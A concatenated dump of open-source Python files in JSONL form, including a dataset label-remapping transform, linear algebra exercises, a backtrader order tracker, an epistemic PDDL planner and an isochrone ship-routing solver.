keep unspecified as is\n if not dst_label:\n continue\n\n dst_index = dst_label_cat.find(dst_label)[0]\n if dst_index is None:\n dst_index = dst_label_cat.add(dst_label,\n src_label.parent, src_label.attributes)\n id_mapping[src_index] = dst_index\n\n if log.getLogger().isEnabledFor(log.DEBUG):\n log.debug(\"Label mapping:\")\n for src_id, src_label in enumerate(src_label_cat.items):\n if id_mapping.get(src_id):\n log.debug(\"#%s '%s' -> #%s '%s'\",\n src_id, src_label.name, id_mapping[src_id],\n dst_label_cat.items[id_mapping[src_id]].name\n )\n else:\n log.debug(\"#%s '%s' -> \", src_id, src_label.name)\n\n self._map_id = lambda src_id: id_mapping.get(src_id, None)\n self._categories[AnnotationType.label] = dst_label_cat\n\n def categories(self):\n return self._categories\n\n def transform_item(self, item):\n # TODO: provide non-inplace version\n annotations = []\n for ann in item.annotations:\n if ann.type in { AnnotationType.label, AnnotationType.mask,\n AnnotationType.points, AnnotationType.polygon,\n AnnotationType.polyline, AnnotationType.bbox\n } and ann.label is not None:\n conv_label = self._map_id(ann.label)\n if conv_label is not None:\n ann._label = conv_label\n annotations.append(ann)\n else:\n annotations.append(ann)\n item._annotations = annotations\n return item","repo_name":"TaSeeMba/cvat","sub_path":"datumaro/datumaro/plugins/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":17483,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"23201609228","text":"import numpy as np\n\n\ndef operator_2_norm(A):\n \"\"\"\n Given a real mxn matrix A, return the operator 2-norm.\n\n :param A: an mxn-dimensional numpy array\n\n :return o2norm: the norm\n \"\"\"\n #I create A^TA and I look for its eigenvalue\n B = np.dot(A.transpose(),A) \n #A vector containing all the eigenvalues of B\n l = np.linalg.eig(B) \n #I find the max of l\n maxeig = np.amax(l[0])\n #Is just the square root of the max eigenvalue\n o2norm = np.sqrt(maxeig) \n return o2norm\n\ndef verify1(m,n):\n \"\"\"\n Given m,n generates a random matrix A mxn and a random array x and verifies that the inequality ||Ax||<=||A||||X|| holds\n \"\"\"\n np.random.seed(3168*m+2765*n)\n A = np.random.randn(m,n) #generates random matrix\n x = np.random.randn(n) #generates random array\n #I check the inequality\n if operator_2_norm(A) <= np.linalg.norm(A)*np.linalg.norm(x): \n print('True')\n else:\n print('False')\n\ndef verify2(l,m,n):\n \"\"\"\n Given m,n,l generates random matrices A and B and verifies that the inequality ||AB||(l,n) <= ||A||(l,m)||X||(m,n) holds\n \"\"\"\n np.random.seed(3168*m+2765*n)\n A = np.random.randn(m,n) #generates random matrix\n B = np.random.randn(m,n) #generates random matrix\n C = np.dot(A,B)\n if operator_2_norm(C) <= operator_2_norm(A)*operator_2_norm(B): #checks the inequality\n print('True')\n else:\n print('False')\n\n\ndef cond(A):\n \"\"\"\n Given a real mxn matrix A, return the condition number in the 2-norm.\n\n :return A: an mxn-dimensional numpy array\n\n :param ncond: the condition number\n \"\"\"\n\n #We can see the condition number as the ratio of maximum stretching to maximum shrinking in a unit vector when A is multiplied with it\n #we calculate the eigenvalues of A^TA so that we can look fo max strecht and min shrink\n l = np.linalg.eig(np.dot(A.T,A)) \n l1 = np.amin(l[0]) #min eigenvalue\n l2 = np.amax(l[0]) #max eigenvalue\n k1 = np.sqrt(l1)\n k2 = np.sqrt(l2)\n ncond = k2 / k1\n\n return ncond\n","repo_name":"ljmj16/Academic","sub_path":"Computational Linear Algebra/cla_utils/exercises4.py","file_name":"exercises4.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9443531536","text":"import re\nimport urllib.request\n\nfrom collections import Counter\n\ndef def03():\n url=\"http://www.pythonchallenge.com/pc/def/equality.html\"\n response=urllib.request.urlopen(url)\n result=''\n\n if response:\n data=response.read().decode(\"utf-8\")\n print(''.join([x[3] for x in re.findall(\"(? None:\n self.history_path = history_path\n self.history: list = []\n\n if allow_order_status is None:\n allow_order_status = [bt.Order.Created, bt.Order.Accepted,\n bt.Order.Rejected, bt.Order.Completed,\n bt.Order.Canceled]\n self.allow_order_status = allow_order_status\n\n def notify_order(self, strategy: bt.Strategy, order: bt.Order):\n dt = bt.num2date(strategy.datas[0].datetime[0])\n\n if order.status not in self.allow_order_status:\n return\n\n status_label = self.STATUS_VALUE_LABEL.get(order.status, None)\n\n if order.isbuy():\n order_action_label = 'BUY'\n elif order.issell():\n order_action_label = 'SELL'\n\n if order.status == bt.Order.Completed:\n price = order.executed.price\n else:\n price = order.created.price\n\n order_history = {\n 'time': dt,\n 'order_ref': order.ref,\n 'parent_order_ref': order.parent.ref if order.parent is not None else None,\n 'action': order_action_label,\n 'status': status_label,\n 'order_type': order.order_type,\n 'price': price,\n 'position': f'{strategy.position.size:.3f}'\n }\n self.history.append(order_history)\n\n def export_result(self):\n df = pd.DataFrame(self.history)\n df.index.name = 'id'\n df.to_csv(self.history_path, index=True)\n","repo_name":"anythingth2/Trading-Playground","sub_path":"util/order_history_tracker.py","file_name":"order_history_tracker.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"42202816904","text":"from datetime import datetime, timedelta\nimport logging\nimport os\nimport copy\nimport re\nfrom typing import List\nimport epistemic_model\n\nlogger = logging.getLogger(\"pddl_model\")\n# from numpy.core.defchararray import _join_dispatcher\n# from numpy.lib.function_base import extract\n# from numpy.lib.shape_base import _put_along_axis_dispatcher\n# from numpy.ma.core import common_fill_value\n# import bbl\n# import coin as external\n\n# # \n# class VALUE(Enum):\n# UNSEEN = None\n# SEEN = 9999\n\n\n# Class of the problem\nclass Problem():\n initial_state = {}\n actions = {} \n entities = {} # agent indicators, should be unique\n variables = {} #variable\n domains = {}\n initial_state = {}\n goal_states = {}\n external = None\n epistemic_calls = 0\n epistemic_call_time = timedelta(0)\n\n def __init__(self, domains,i_state,g_states,agent_index,obj_index,variables,actions, external=None):\n \n logger.debug(\"initialize entities\")\n self.entities = {}\n for i in agent_index:\n e_temp = Entity(i,E_TYPE.AGENT)\n self.entities.update({i:e_temp})\n for i in obj_index:\n e_temp = Entity(i,E_TYPE.OBJECT)\n self.entities.update({i:e_temp}) \n logger.debug(self.entities)\n \n logger.debug(\"initialize variable\")\n self.variables = {}\n \n for d_name,targets in variables.items():\n # logger.debug(self.variables)\n suffix_list = self._generateVariables(targets)\n logger.debug(suffix_list)\n for suffix in suffix_list:\n var_name = f\"{d_name}{suffix}\"\n v_parent = suffix.split('-')[1]\n v_temp = Variable(var_name,d_name,v_parent)\n self.variables.update({var_name:v_temp})\n logger.debug(self.variables)\n \n # grounding all actions or do not ground any actions? \n logger.debug(\"initialize actions\")\n logger.debug(actions )\n for a_name, parts in actions.items():\n \n p = [ (i,eTypeConvert(t))for i,t in parts['parameters']]\n a_temp = Action(a_name, p,parts['precondition'], parts['effect'])\n self.actions.update({a_name:a_temp})\n logger.debug(self.actions)\n \n logger.debug(\"initialize domains\")\n self.domains = {}\n logger.debug(f'input domains: {domains}')\n for d_name in domains.keys():\n # print(d_name)\n domain_temp = Domain(d_name,domains[d_name]['values'],d_name=='agent',dTypeConvert(domains[d_name]['basic_type']))\n self.domains.update({d_name:domain_temp})\n logger.debug(self.domains)\n \n self.goal_states = g_states\n logger.debug(self.goal_states)\n self.initial_state = i_state\n logger.debug(self.initial_state)\n \n self.external = external\n \n \n def isGoal(self,state,path):\n logger.debug(f\"checking goal for state: {state} with path: {path}\")\n actions = [ a for s,a in path]\n actions = actions[1:]\n logger.debug(f'plan is: {actions}')\n logger.debug(f'ontic_goal: {self.goal_states[\"ontic_g\"]}')\n for k,i in self.goal_states[\"ontic_g\"].items():\n if not state[k] == i:\n return False\n \n # adding epistemic checker here\n logger.debug(f'epistemic_goal: {self.goal_states[\"epistemic_g\"]}')\n for eq,value in self.goal_states[\"epistemic_g\"]:\n self.epistemic_calls +=1\n current_time = datetime.now()\n if not epistemic_model.checkingEQstr(self.external,eq,path,state,self.entities,self.variables) == value:\n self.epistemic_call_time += datetime.now() - current_time\n return False\n self.epistemic_call_time += datetime.now() - current_time\n return True\n \n def getLegalActions(self,state,path):\n legal_actions = {}\n \n # get all type of actions\n for a_name, a in self.actions.items():\n logger.debug(f'action: {a} ')\n \n \n # generate all possible combination parameters for each type of action\n logger.debug(f'all params: {self._generateParams(a.a_parameters)}')\n\n if a.a_parameters == []:\n a_temp_name = a_name\n a_temp_parameters = copy.deepcopy(a.a_parameters)\n a_temp_precondition = copy.deepcopy(a.a_precondition)\n a_temp_effects = copy.deepcopy(a.a_effects)\n if self._checkPreconditions(state,a_temp_precondition,path):\n legal_actions.update({a_temp_name:Action(a_temp_name,a_temp_parameters,a_temp_precondition,a_temp_effects)})\n logger.debug(f'legal action after single precondition check: {legal_actions}') \n else:\n for params in self._generateParams(a.a_parameters):\n a_temp_name = a_name\n a_temp_parameters = copy.deepcopy(a.a_parameters)\n a_temp_precondition = copy.deepcopy(a.a_precondition)\n a_temp_effects = copy.deepcopy(a.a_effects)\n logger.debug(f'works on params: {params}')\n for i,v in params:\n # a_temp_name = a_name\n # a_temp_parameters = copy.deepcopy(a.a_parameters)\n # a_temp_precondition = copy.deepcopy(a.a_precondition)\n # a_temp_effects = copy.deepcopy(a.a_effects)\n a_temp_name = a_temp_name + \"-\" + v\n for j in range(len(a_temp_parameters)):\n v_name, v_effects = a_temp_parameters[j]\n v_name = v_name.replace(f'{i}',f'-{v}')\n a_temp_parameters[j] = (v_name,v_effects)\n \n # update parameters in the ontic precondition\n for j in range(len(a_temp_precondition['ontic_p'])):\n v_name, v_effects = a_temp_precondition['ontic_p'][j]\n v_name = v_name.replace(f'{i}',f'-{v}')\n if type(v_effects) == str:\n v_effects = v_effects.replace(f'{i}',f'-{v}')\n a_temp_precondition['ontic_p'][j] = (v_name,v_effects)\n\n # update parameters in the epistemic precondition\n for j in range(len(a_temp_precondition['epistemic_p'])):\n v_name, v_effects = a_temp_precondition['epistemic_p'][j]\n v_name = v_name.replace(f'{i}',f'-{v}').replace('[-','[').replace(',-',',')\n # precondition effect of epistemic is only going to be int\n # v_effects = v_effects.replace(f'{i}',f'-{v}')\n a_temp_precondition['epistemic_p'][j] = (v_name,v_effects) \n \n # update parameters in the effects\n for j in range(len(a_temp_effects)):\n v_name, v_effects = a_temp_effects[j]\n v_name = v_name.replace(f'{i}',f'-{v}')\n v_effects = v_effects.replace(f'{i}',f'-{v}')\n a_temp_effects[j] = (v_name,v_effects)\n logger.debug(f'precondition after matching parameters: {a_temp_precondition}')\n logger.debug(f'effect after matching parameters: {a_temp_effects}')\n \n \n logger.debug(f'legal action before precondition check: {legal_actions}') \n # TODO: adding precondition check\n if self._checkPreconditions(state,a_temp_precondition,path):\n legal_actions.update({a_temp_name:Action(a_temp_name,a_temp_parameters,a_temp_precondition,a_temp_effects)})\n logger.debug(f'legal action after precondition check: {legal_actions}') \n logger.debug(f'legal actions: {legal_actions}') \n return legal_actions\n \n def _checkPreconditions(self,state,preconditions,path):\n logger.debug(f'checking precondition: {preconditions}')\n \n # checking ontic preconditions\n for v,e in preconditions['ontic_p']:\n try:\n if e in state:\n if not state[v] == state[e]: return False\n else:\n if not state[v] == e: return False\n except:\n logger.error(\"Error when checking precondition: {}\\n with state: {}\")\n \n return False\n \n # checking epistemic preconditions\n for eq,value in preconditions[\"epistemic_p\"]:\n self.epistemic_calls +=1\n current_time = datetime.now()\n if not epistemic_model.checkingEQstr(self.external,eq,path,state,self.entities,self.variables) == value:\n self.epistemic_call_time += datetime.now() - current_time\n return False\n self.epistemic_call_time += datetime.now() - current_time\n return True\n\n # generate all possible parameter combinations\n def _generateVariables(self,params):\n logger.debug(f'params: {params}')\n param_list = []\n\n if params == []:\n return []\n else:\n \n for i in params[0]:\n next_param = copy.deepcopy(params[1:])\n rest = self._generateVariables(next_param)\n if len(rest) == 0:\n param_list = param_list + [f\"-{i}\"]\n else:\n param_list = param_list + [ f\"-{i}{t}\" for t in rest ]\n return param_list\n\n\n \n # generate all possible parameter combinations\n def _generateParams(self,params):\n param_list = []\n\n if params == []:\n return []\n else:\n i,v = params[0]\n\n for k,l in self.entities.items():\n\n if l.e_type == v:\n next_param = copy.deepcopy(params[1:])\n rest = self._generateParams(next_param)\n if len(rest) == 0:\n param_list = param_list + [[(i,k)]]\n else:\n param_list = param_list + [ [(i,k)]+ t for t in self._generateParams(next_param) ]\n return param_list\n \n # TODO adding action cost\n def generatorSuccessor(self,state,action,path):\n \n # TODO valid action\n # need to go nested on the brackets\n logger.debug(f'generate successor for state: {state}')\n logger.debug(f'generate successor with action: {action}')\n new_state = copy.deepcopy(state)\n \n for v_name,update in action.a_effects:\n old_value = state[v_name]\n # v_name = v_name.replace('?','-')\n logger.debug(f'single effect update: {v_name}/{old_value}/{update}')\n # if update in state:\n # new_state[v_name] = state[update]\n # elif '-' in update:\n if '-' in update:\n logger.debug(f'update -')\n delta_value = int(update.split('-')[1])\n logger.debug(f'delta value: {delta_value}')\n domain_name = self.variables[v_name].v_domain_name\n logger.debug(f'domain_name {domain_name}')\n if self.domains[domain_name].d_type == D_TYPE.ENUMERATE:\n index = self.domains[domain_name].d_values.index(old_value)\n logger.debug(f'index: {index} in the domain: {self.domains[domain_name].d_values}')\n new_index = (index-delta_value) % len(self.domains[domain_name].d_values)\n logger.debug(f'new_index: {new_index} in the domain: {self.domains[domain_name].d_values}')\n new_value = self.domains[domain_name].d_values[new_index]\n logger.debug(f'new_value: {new_value} in the domain: {self.domains[domain_name].d_values}')\n new_state[v_name] = new_value\n elif self.domains[domain_name].d_type == D_TYPE.INTEGER:\n old_int = int(old_value)\n logger.debug(f'old_int: {old_int}')\n new_value = old_int - delta_value\n logger.debug(f'new_value: {new_value} in the domain: {self.domains[domain_name].d_values}')\n new_state[v_name] = new_value\n \n elif '+' in update:\n delta_value = int(update.split('+')[-1])\n domain_name = self.variables[v_name].v_domain_name\n if self.domains[domain_name].d_type == D_TYPE.ENUMERATE:\n index = self.domains[domain_name].d_values.index(old_value)\n new_index = (index+delta_value) % len(self.domains[domain_name].d_values)\n new_state[v_name] = self.domains[domain_name].d_values[new_index]\n elif self.domains[domain_name].d_type == D_TYPE.INTEGER:\n old_int = int(old_value)\n logger.debug(f'old_int: {old_int}')\n new_value = old_int + delta_value\n logger.debug(f'new_value: {new_value} in the domain: {self.domains[domain_name].d_values}')\n new_state[v_name] = new_value\n # if '-' in update:\n # v2_name,value = update.split('-')\n # v2_name = v2_name.replace('?','-')\n # v2_value = state[v2_name]\n # domain_name = self.variables[v_name].v_domain_name\n # if self.domains[domain_name].d_type == D_TYPE.ENUMERATE:\n # for index, item in enumerate(self.domains[domain_name].d_values):\n # if item == v2_value:\n # break\n # new_state[v_name] = self.domains[domain_name].d_values[(index-int(value))%len(self.domains[domain_name].d_values)]\n # elif '+' in update:\n # v2_name,value = update.split('+')\n # v2_name = v2_name.replace('?','-')\n # v2_value = state[v2_name]\n # domain_name = self.variables[v_name].v_domain_name\n # if self.domains[domain_name].d_type == D_TYPE.ENUMERATE:\n # for index, item in enumerate(self.domains[domain_name].d_values):\n # if item == v2_value:\n # break\n # new_state[v_name] = self.domains[domain_name].d_values[(index+int(value))%len(self.domains[domain_name].d_values)]\n else:\n \n domain_name = self.variables[v_name].v_domain_name\n logger.debug(f'update {v_name} with domain {domain_name} on type {self.domains[domain_name].d_type} ')\n if self.domains[domain_name].d_type == D_TYPE.INTEGER:\n new_state[v_name] = int(update)\n else:\n new_state[v_name] = update\n\n logger.debug(f'new state is : {new_state}')\n return new_state\n \n \n \n def __str__(self):\n return f\"Problem: \\n\\t entities: {self.entities}\\n\\t variables: {self.variables}\\n\\t actions: {self.actions}\\n\\t domains: {self.domains}\\n\\t initial_state: {self.initial_state}\\n\\t goal_states: {self.goal_states}\\n\"\n\nfrom enum import Enum\nclass E_TYPE(Enum):\n AGENT = 1\n OBJECT = 2\n\ndef eTypeConvert(str):\n logger.debug(f\"converting E_TYPE for {str}\")\n if str == \"agent\":\n return E_TYPE.AGENT\n elif str == \"object\":\n return E_TYPE.OBJECT\n else:\n logger.error(f\"E_TYPE not found for {str}\")\nclass Entity():\n e_name = None\n e_type = None\n \n def __init__(self,e_name, e_type):\n self.e_name = e_name\n self.e_type = e_type\n\n def __str__(self): # show only in the print(object)\n return f\"\\n\"\n\n def __repr__(self): # show when in a dictionary\n return f\"\\n\"\n # return self\n\nclass Action():\n a_name = None\n a_parameters = []\n a_precondition = None\n a_effects = None\n \n def __init__(self,a_name, a_parameters, a_precondition, a_effects):\n self.a_name = a_name\n self.a_parameters = a_parameters\n self.a_precondition = a_precondition\n self.a_effects = a_effects\n\n def __str__(self): # show only in the print(object)\n return f\"\\n\"\n\n def __repr__(self): # show when in a dictionary\n return f\"\\n\"\n \nclass Variable():\n v_name = None\n v_domain_name = None\n v_parent = None\n \n def __init__(self,name,domain_name,v_parent):\n self.v_name = name\n self.v_domain_name = domain_name\n self.v_parent = v_parent\n \n def __str__(self): # show only in the print(object)\n return f\"\\n\"\n\n def __repr__(self): # show when in a dictionary\n return f\"\\n\"\n \nclass T_TYPE(Enum):\n TRUE = 1\n UNKNOWN = 0\n FALSE = -1\n \ndef convertBooltoT_TYPE(bool):\n return T_TYPE.TRUE if bool else T_TYPE.FALSE\n \nclass D_TYPE(Enum):\n ENUMERATE = 1\n INTEGER = 2 \n\ndef dTypeConvert(str):\n logger.debug(f\"converting D_TYPE for {str}\")\n if str == \"enumerate\":\n return D_TYPE.ENUMERATE\n elif str == \"integer\":\n return D_TYPE.INTEGER\n else:\n logger.error(f\"D_TYPE not found for {str}\")\n\nclass Domain():\n d_name = None\n d_values = None\n d_type = None\n agency = False\n \n def __init__(self,d_name,d_values,agency,d_type):\n self.d_name = d_name\n self.d_values = d_values\n self.agency = agency\n self.d_type = d_type\n \n def __str__(self): # show only in the print(object)\n return f\"\\n\"\n\n def __repr__(self): # show when in a dictionary\n return f\"\\n\"\n \n def isAgent(self):\n return self.agency\n\n\n \n\n\n \n","repo_name":"guanghuhappysf128/bpwp","sub_path":"pddl_model.py","file_name":"pddl_model.py","file_ext":"py","file_size_in_byte":18845,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"30275055556","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 20 13:48:13 2017\n\n@author: j.belley\n\"\"\"\n\nimport sys\n\nsys.path.append(\"../solver\")\n# from MyTree import Tree\nfrom worker import Tree\nimport numpy as np\nfrom math import atan2\n\n\n# Simulator.Boat.Uncertainitycoeff=0\n\n# PB = delta_S à corriger (fait par trigo simple)\n\nclass Node():\n \"\"\" Class which is used to make the points of the isochrone curves. \\\n It is based on a node structure of a linked list. \n \n :ivar int time: time indice used by the ship simulator to define a state.\n \n :ivar float lat: latitude used by the ship simulator to define a state.\n \n :ivar float lon: longitude used by the ship simulator to define a state.\n \n :ivar isochrones.Node pere: parent node from the previous isochrone curve.\n \n :ivar float act: heading follow from the parent node to the actual node.\n \n :ivar float C: heading between the starting point and the node position.\n \n :ivar float D: distance between the starting point and the node position.\n \n \"\"\"\n\n def __init__(self, time, lat, lon, parent=None, action=None, C=None, D=None):\n \"\"\"\n Class constructor\n \"\"\"\n\n self.time = time # indice\n self.lat = lat\n self.lon = lon\n self.pere = parent\n self.act = action\n self.C = C\n self.D = D\n\n def give_state(self):\n \"\"\" Method which returns the state of a node. \\\n The definition of a state is given in simulatorTLKT documentation\"\"\"\n return [self.time, self.lat, self.lon]\n\n def __str__(self):\n return '({},{}) à {}\\nC={},D={}'.format(self.lat, self.lon, self.time, self.C, self.D)\n\n\nclass Secteur():\n \"\"\" Class used to partition the space in order to apply Hagiwara's isochrone method. \\\n \n :ivar float cap_sup: upper bond of the angular sector which start from the beginning point.\n \n :ivar float cap_inf: lower bond of the angular sector which start from the beginning point.\n \n :ivar list liste_noeud: list of the nodes which belong to the angular sector.\n \n :ivar list liste_distance: list of the distances between the starting point and the nodes in liste_noeud.\n \n \"\"\"\n\n def __init__(self, cap_sup, cap_inf):\n\n \"\"\"\n Class constructor\n \"\"\"\n\n self.cap_sup = cap_sup\n self.cap_inf = cap_inf\n self.liste_noeud = [] # attention s'assurer dans la construction de la correspondance entre les indices des 2 listes\n self.liste_distance = []\n\n def recherche_meilleur_noeud(self):\n\n \"\"\" Method which returns the farthest node of liste_noeud according to the data in liste_distance \"\"\"\n\n try:\n meilleur_noeud = self.liste_noeud[self.liste_distance.index(max(self.liste_distance))]\n return meilleur_noeud\n except ValueError:\n return None\n\n def __str__(self):\n return '({},{}) à {}'.format(self.cap_inf, self.cap_sup, self.liste_distance)\n\n\nclass Isochrone():\n \"\"\"\n Class making the determinist isochrone method described by Hideki Hagiwara.\n\n :ivar Simulator sim: Object Simulator which have to be initialized \\\n with the geographic position of the problem and the weather forcast desired.\n\n :ivar list dep: Latitude and longitude in degree of the starting \\\n point. For instance, [47.5, 356.5].\n\n :ivar list arr: Latitude and longitude in degree of the destination \\\n point. For instance, [47.8, 352.3].\n\n :ivar list isochrone_actuelle: List of the nodes which constitute the \\\n current isochrone shape.\n\n :ivar list isochrone_future: List of the nodes which are made in order \\\n to find the shape of the next isochrone.\n \n :ivar list isochrone_stock: List of used isochrone (list of list of states)\n \n :ivar float distance_moy_iso: Average distance of the current isochrone from \\\n the starting point in meters.\n \n :ivar float reso: Resolution of the current isochrone (average distance \\\n between nodes of the isochrone shape in meters).\n \n :ivar int p: Half of the number of sectors used by the ischrone algorithm \\\n (half of the maximal number of nodes of the current isochrone).\n \n :ivar float constante: Used to change units.\n \n :ivar float delta_t: Time step of the simulator in days.\n \n :ivar list liste_actions: List of the bearings in degree that the ship can \\\n use to join its destination. After solving the problem, it become the \\\n policy to follow to reach the destination.\n \n :ivar list liste_positions: List of the positions (lat,lon) where the ship \\\n goes and changes its bearing in order to reach the destination.\n \n :ivar float temps_transit: Time spend during the trip in days.\n \n :ivar float C0: Bearing between the departure and the arrival in degree.\n \n :ivar int temps_dep: time indice used in the ship Simulator. Chose another value than 0 \\\n if you want to start your isochrone research at a precise temps (different from forcast \\\n initial hour).\n\n \"\"\"\n\n def __init__(self, simulateur, coord_depart, coord_arrivee, delta_cap=10, increment_cap=9, nb_secteur=10,\n resolution=200, temps=0):\n\n \"\"\"\n Class constructor\n \"\"\"\n\n self.sim = simulateur\n self.dep = coord_depart # liste des coord de départ (lat,lon)\n self.arr = coord_arrivee # liste des coord d'arrivée (lat,lon)\n self.temps_dep = temps\n noeuddep = Node(temps, coord_depart[0], coord_depart[\n 1]) # attention si référence par parentée n'empêche pas le rammase miette de le supprimer\n self.isochrone_actuelle = [noeuddep]\n self.isochrone_future = []\n self.distance_moy_iso = 0\n self.reso = resolution\n self.p = nb_secteur\n self.constante = np.pi / (60 * 180)\n self.delta_t = (self.sim.times[noeuddep.time + 1] - self.sim.times[noeuddep.time])\n self.liste_actions = []\n self.liste_positions = []\n self.isochrone_stock = []\n self.temps_transit = 0\n for l in range(-increment_cap, increment_cap + 1):\n self.liste_actions.append(l * delta_cap)\n D0, C0 = self.sim.getDistAndBearing(self.dep, self.arr)\n self.C0 = C0\n C = []\n for action in self.liste_actions:\n C.append(self.recentrage_cap(C0 + action))\n self.isochrone_actuelle = []\n liste_etats = []\n for cap in C:\n self.sim.reset(noeuddep.give_state())\n state = self.sim.doStep(cap)\n D1, C1 = self.sim.getDistAndBearing(self.dep, state[1:3])\n current_node = Node(state[0], state[1], state[2], noeuddep, cap, C1, D1)\n self.isochrone_actuelle.append(current_node)\n liste_etats.append(current_node.give_state())\n self.isochrone_stock.append(liste_etats)\n\n def recentrage_cap(self, cap):\n \"\"\"\n Keep the heading in degree between 0 and 360.\n \n :param float cap: Bearing to correct.\n \"\"\"\n return cap % 360\n\n def reset(self, coord_depart=None, coord_arrivee=None):\n\n \"\"\"\n Reset the problem to slove with a different departure and arrival but \\\n the same weather forcast. To change the weather forcast, change self.sim \\\n and reset the Isochrone.\n \n :param list coord_depart: Latitude and longitude in degree of the starting \\\n point.\n \n :param list coord_arrivee: Latitude and longitude in degree of the destination \\\n point.\n \"\"\"\n\n if (not coord_depart == None):\n self.dep = coord_depart # liste des coord de départ (lat,lon)\n if (not coord_arrivee == None):\n self.arr = coord_arrivee # liste des coord d'arrivée (lat,lon)\n\n noeuddep = Node(0, self.dep[0], self.dep[1])\n self.isochrone_actuelle = [noeuddep]\n self.isochrone_future = []\n self.distance_moy_iso = 0\n self.liste_positions = []\n self.isochrone_stock = []\n self.temps_transit = 0\n D0, C0 = self.sim.getDistAndBearing(self.dep, self.arr)\n self.C0 = C0\n C = []\n for action in self.liste_actions:\n C.append(self.recentrage_cap(self.C0 + action))\n self.isochrone_actuelle = []\n for cap in C:\n self.sim.reset(noeuddep.give_state())\n state = self.sim.doStep(cap)\n D1, C1 = self.sim.getDistAndBearing(self.dep, state[1:3])\n current_node = Node(state[0], state[1], state[2], noeuddep, cap, C1, D1)\n self.isochrone_actuelle.append(current_node)\n return None\n\n def isochrone_brouillon(self):\n\n \"\"\"\n Generates all the future nodes reachable from the current isochrone by \\\n doing the different actions allowed.\n \n \"\"\"\n\n self.isochrone_future = []\n compteur = 0\n self.distance_moy_iso = 0\n for x_i in self.isochrone_actuelle:\n C = []\n for action in self.liste_actions:\n C.append(self.recentrage_cap(x_i.C + action))\n for cap in C:\n self.sim.reset(x_i.give_state())\n state = self.sim.doStep(cap)\n Dij, Cij = self.sim.getDistAndBearing(self.dep, state[1:3])\n futur_node = Node(state[0], state[1], state[2], x_i, cap, Cij, Dij)\n self.isochrone_future.append(futur_node)\n self.distance_moy_iso += Dij\n compteur += 1\n self.distance_moy_iso = self.distance_moy_iso / compteur\n return None\n\n def secteur_liste(self):\n\n \"\"\"\n Creates all the angular sectors used to select the nodes of the future \\\n isochrone and return a list of them. Returns also the width of a sector \\\n at the average distance of the future isochrone.\n \n \"\"\"\n\n # delta_S = self.constante*self.reso/np.sin(self.constante*self.distance_moy_iso) #pb définition delta_S\n delta_S = atan2(self.reso, self.distance_moy_iso) * 180 / np.pi\n liste_S = []\n for k in range(2 * self.p):\n k += 1\n cap_sup = self.recentrage_cap(self.C0 + (k - self.p) * delta_S)\n cap_inf = self.recentrage_cap(self.C0 + (k - self.p - 1) * delta_S)\n liste_S.append(Secteur(cap_sup, cap_inf))\n return liste_S, delta_S\n\n def associer_xij_a_S(self, liste_S, delta_S):\n\n \"\"\"\n Associates to all the nodes reachable from the current isochrone an \\\n angular sector and returns the list of those sectors.\n \n \"\"\"\n\n for xij in self.isochrone_future:\n Cij = xij.C\n borne_sup = liste_S[-1].cap_sup\n borne_inf = liste_S[0].cap_inf\n if borne_sup > borne_inf:\n if (Cij < borne_inf or Cij > borne_sup):\n pass\n else:\n if (Cij - self.C0) <= -180:\n diff = (Cij - self.C0) + 360\n elif (Cij - self.C0) >= 180:\n diff = (Cij - self.C0) - 360\n else:\n diff = (Cij - self.C0)\n indice_S = int(diff / delta_S + self.p)\n liste_S[indice_S].liste_noeud.append(xij)\n liste_S[indice_S].liste_distance.append(xij.D)\n else:\n if (0 <= Cij < borne_sup or 360 > Cij > borne_inf):\n if (Cij - self.C0) <= -180:\n diff = (Cij - self.C0) + 360\n elif (Cij - self.C0) >= 180:\n diff = (Cij - self.C0) - 360\n else:\n diff = (Cij - self.C0)\n indice_S = int(diff / delta_S + self.p)\n liste_S[indice_S].liste_noeud.append(xij)\n liste_S[indice_S].liste_distance.append(xij.D)\n else:\n pass\n return liste_S\n\n def nouvelle_isochrone_propre(self, liste_S):\n\n \"\"\"\n Keep, for each sector, only the farthest node reachable from the current \\\n isochrone and so create the new current isochrone.\n \n \"\"\"\n liste_etats = []\n self.isochrone_actuelle = []\n for Sect in liste_S:\n noeud_a_garder = Sect.recherche_meilleur_noeud()\n if noeud_a_garder == None:\n pass\n else:\n self.isochrone_actuelle.append(noeud_a_garder)\n liste_etats.append(noeud_a_garder.give_state())\n self.isochrone_stock.append(liste_etats)\n return None\n\n def isochrone_proche_arrivee(self):\n\n \"\"\" Method which tests if the nodes of the current isochrone are close from \\\n the arrival point (under 20 km). If they are, it returns a boolean True and the \\\n list of the node which are almost arrived \"\"\"\n\n Top_noeud = []\n arrive = False\n for xi in self.isochrone_actuelle:\n Ddest, Cdest = self.sim.getDistAndBearing([xi.lat, xi.lon], self.arr)\n if Ddest <= 20000:\n Top_noeud.append(xi)\n arrive = True\n return arrive, Top_noeud\n\n def aller_point_arrivee(self, Top_noeud):\n\n \"\"\" Method which takes all the nodes close from the arrival and make them arrive \\\n by going straight ahead. Then it returns the node which joins earlier the destination, \\\n the time spend during all the journey between the starting point and the destination and \\\n the list of the heandings followed during the last 20 km \"\"\"\n\n Top_time = []\n Top_finish_caps = []\n for i in range(len(Top_noeud)):\n atDest = False\n frac = 0\n noeud_final = Top_noeud[i]\n cap_a_suivre = 0\n finish_caps = []\n self.sim.reset([noeud_final.time, noeud_final.lat, noeud_final.lon])\n while (not atDest):\n Ddest, cap_a_suivre = self.sim.getDistAndBearing(self.sim.state[1:3], self.arr)\n finish_caps.append(cap_a_suivre)\n self.sim.doStep(cap_a_suivre)\n atDest, frac = Tree.is_state_at_dest(self.arr, self.sim.prevState, self.sim.state)\n temps_total = self.sim.times[self.sim.state[0]] - (1 - frac) * self.delta_t - self.sim.times[self.temps_dep]\n Top_time.append(temps_total)\n Top_finish_caps.append(finish_caps)\n indice_solution = Top_time.index(min(Top_time))\n meilleur_noeud_final = Top_noeud[indice_solution]\n temps_total = Top_time[indice_solution]\n liste_caps_fin = Top_finish_caps[indice_solution]\n return 